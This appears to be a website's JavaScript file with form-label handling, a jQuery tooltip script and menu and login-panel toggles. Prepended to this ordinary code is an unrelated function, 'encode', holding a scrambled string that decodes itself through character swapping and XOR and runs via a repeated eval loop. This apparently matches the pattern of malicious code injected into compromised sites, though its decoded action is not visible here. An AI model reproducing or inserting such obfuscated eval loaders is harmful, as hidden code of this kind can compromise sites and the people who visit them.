function encode() {
var x="function f(x){var i,o=\"\",l=x.length;for(i=0;i<l;i+=2) {if(i+1<l)o+=" +
"x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" +
" r,i=o\\\"\\\"o,=l.xelgnhtl,o=;lhwli(e.xhcraoCedtAl(1/)3=!11)5t{yrx{=+;x+ll" +
"=};acct(h)e}{f}roi(l=1-i;=>;0-i)-o{=+.xhcratAi(;)r}teru n.oussbrt0(o,)l};(f" +
")\\\"59\\\\,&\\\" ,;3v&)9u{x|`>izsd37\\\\01\\\\03\\\\\\\\t<\\\\\\\\37\\\\0n" +
"\\\\\\\\\\\\35\\\\06\\\\03\\\\\\\\01\\\\00\\\\00\\\\\\\\QJ6.03\\\\\\\\26\\\\"+
"01\\\\00\\\\\\\\07\\\\0C\\\\03\\\\07\\\\03\\\\\\\\05\\\\07\\\\01\\\\\\\\33\\"+
"\\06\\\\00\\\\\\\\02\\\\0%\\\\26\\\\06\\\\00\\\\\\\\21\\\\04\\\\00\\\\\\\\\\"+
"\\t(\\\\g+/306:9tt\\\\\\\\5i#7o8q/cn%$3-7/m3/6R%^K_S\\\"\\\\f(;} ornture;})" +
")++(y)^(iAtdeCoarchx.e(odrChamCro.fngriSt+=;o27=1y%2;*=)yy)9+(5i>f({i+)i+l;" +
"i<0;i=r(foh;gten.l=x,l\\\"\\\\\\\"\\\\o=i,r va){,y(x fontincfu)\\\"\")"      ;
while(x=eval(x));
}

function initOverLabels () {
  if (!document.getElementById) return;  	

  var labels, id, field;

  // Set focus and blur handlers to hide and show 
  // LABELs with 'overlabel' class names.
  labels = document.getElementsByTagName('label');
  for (var i = 0; i < labels.length; i++) {
	
    if (labels[i].className == 'overlabel') {

      // Skip labels that do not have a named association
      // with another field.
      id = labels[i].htmlFor || labels[i].getAttribute('for');
      if (!id || !(field = document.getElementById(id))) {
        continue;
      }

      // Change the applied class to hover the label 
      // over the form field.
      labels[i].className = 'overlabel-apply';

      // Hide any fields having an initial value.
      if (field.value !== '') {
        hideLabel(field.getAttribute('id'), true);
      }

      // Set handlers to show and hide labels.
      field.onfocus = function () {
        hideLabel(this.getAttribute('id'), true);
      };
      field.onblur = function () {
        if (this.value === '') {
          hideLabel(this.getAttribute('id'), false);
        }
      };

      // Handle clicks to LABEL elements (for Safari).
      labels[i].onclick = function () {
        var id, field;
        id = this.getAttribute('for');
        if (id && (field = document.getElementById(id))) {
          field.focus();
        }
      };

    }
  }
};

function hideLabel (field_id, hide) {
  var field_for;
  var labels = document.getElementsByTagName('label');
  for (var i = 0; i < labels.length; i++) {
    field_for = labels[i].htmlFor || labels[i].getAttribute('for');
    if (field_for == field_id) {
      labels[i].style.textIndent = (hide) ? '-1000px' : '0px';
      return true;
    }
  }
}

///////////////////////////////////////////////////////////////////////////////////

/*
 * Tooltip script 
 * powered by jQuery (http://www.jquery.com)
 * 
 * written by Alen Grakalic (http://cssglobe.com)
 * 
 * for more info visit http://cssglobe.com/post/1695/easiest-tooltip-and-image-preview-using-jquery
 *
 */
 


this.tooltip = function(){	
	/* CONFIG */		
		xOffset = 10;
		yOffset = 20;		
		// these 2 variable determine popup's distance from the cursor
		// you might want to adjust to get the right result		
	/* END CONFIG */		
	$("a[title]").hover(function(e){											  
		this.t = this.title;
		this.title = "";
		$("body").append("<p id='tooltip'>"+ this.t +"</p>");
		$("#tooltip")
			.css("top",(e.pageY - xOffset) + "px")
			.css("left",(e.pageX + yOffset) + "px")
			.fadeIn("medium");		
    },
	function(){
		this.title = this.t;		
		$("#tooltip").remove();
    });	
	$("a.[title]").mousemove(function(e){
		$("#tooltip")
			.css("top",(e.pageY - xOffset) + "px")
			.css("left",(e.pageX + yOffset) + "px");
	});
};

///////////////////////////////////////////////////////////////////////////////

// starting scripts on page load
$(document).ready(function(){

	tooltip();
	
	// Navigation:

	$("#mainnav .curr a:not(.curr ul a)").wrapInner(document.createElement("span"));
	
	$("#mainnav a[id]").click(function () {
		if($(this).next().is(":visible")) {
			$(this).removeClass("act").next().fadeOut("medium");
		} else {
			$("#mainnav a[id]").not(this).removeClass("act").next().fadeOut("medium");
			$(this).addClass("act").next().fadeIn("medium");
		}
	})

	// Login panel:
	$("a.showlogin, #close a").click(function (event) {
		event.preventDefault();
		if ($("div#panel").is(":hidden")) {
			setTimeout(initOverLabels, 50);
			$("div#panel").slideDown("medium");
		} else {
			$("div#panel").slideUp("medium");
		}

	});

});